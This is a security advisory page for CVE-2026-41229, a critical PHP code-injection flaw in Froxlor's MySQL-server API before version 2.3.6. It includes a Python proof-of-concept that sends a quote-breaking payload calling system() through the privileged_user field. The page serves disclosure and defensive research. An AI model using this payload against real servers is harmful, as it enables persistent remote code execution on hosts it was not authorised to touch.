Security Vulnerability Report
中文
CVE-2026-41229 CVSS 9.1 CRITICAL

CVE-2026-41229

Published: 2026-04-23 04:16:20
Last Modified: 2026-04-27 17:00:52

Description

Froxlor is open source server administration software. Prior to version 2.3.6, `PhpHelper::parseArrayToString()` writes string values into single-quoted PHP string literals without escaping single quotes. When an admin with `change_serversettings` permission adds or updates a MySQL server via the API, the `privileged_user` parameter (which has no input validation) is written unescaped into `lib/userdata.inc.php`. Since this file is `require`d on every request via `Database::getDB()`, an attacker can inject arbitrary PHP code that executes as the web server user on every subsequent page load. Version 2.3.6 contains a patch.

CVSS Details

CVSS Score
9.1
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:froxlor:froxlor:*:*:*:*:*:*:*:* - VULNERABLE
Froxlor < 2.3.6

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Target URL of the Froxlor API target_url = "http://example.com/api/admin" # Headers with authentication (Admin token required) headers = { "Authorization": "Bearer <ADMIN_ACCESS_TOKEN>", "Content-Type": "application/json" } # Malicious payload to inject PHP code # Using single quote to break out of the string literal and inject system() call payload = "', 'hacker'); system('whoami'); //'" data = { "action": "update_mysql_server", "mysql_host": "127.0.0.1", "privileged_user": payload } try: response = requests.post(target_url, json=data, headers=headers) if response.status_code == 200: print("[+] Payload sent successfully.") print("[+] Trigger any page request to execute the injected code.") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-41229", "sourceIdentifier": "[email protected]", "published": "2026-04-23T04:16:19.563", "lastModified": "2026-04-27T17:00:51.763", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Froxlor is open source server administration software. Prior to version 2.3.6, `PhpHelper::parseArrayToString()` writes string values into single-quoted PHP string literals without escaping single quotes. When an admin with `change_serversettings` permission adds or updates a MySQL server via the API, the `privileged_user` parameter (which has no input validation) is written unescaped into `lib/userdata.inc.php`. Since this file is `require`d on every request via `Database::getDB()`, an attacker can inject arbitrary PHP code that executes as the web server user on every subsequent page load. Version 2.3.6 contains a patch."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H", "baseScore": 9.1, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.3, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-94"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:froxlor:froxlor:*:*:*:*:*:*:*:*", "versionEndExcluding": "2.3.6", "matchCriteriaId": "9A9C896A-1305-4134-850E-4B44962A6C0A"}]}]}], "references": [{"url": "https://github.com/froxlor/froxlor/commit/3589ddf93ab59eb2a8971f0f56cbf6266d03c4ae", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/froxlor/froxlor/releases/tag/2.3.6", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/froxlor/froxlor/security/advisories/GHSA-gc9w-cc93-rjv8", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory", "Mitigation"]}, {"url": "https://github.com/froxlor/froxlor/security/advisories/GHSA-gc9w-cc93-rjv8", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory", "Mitigation"]}]}}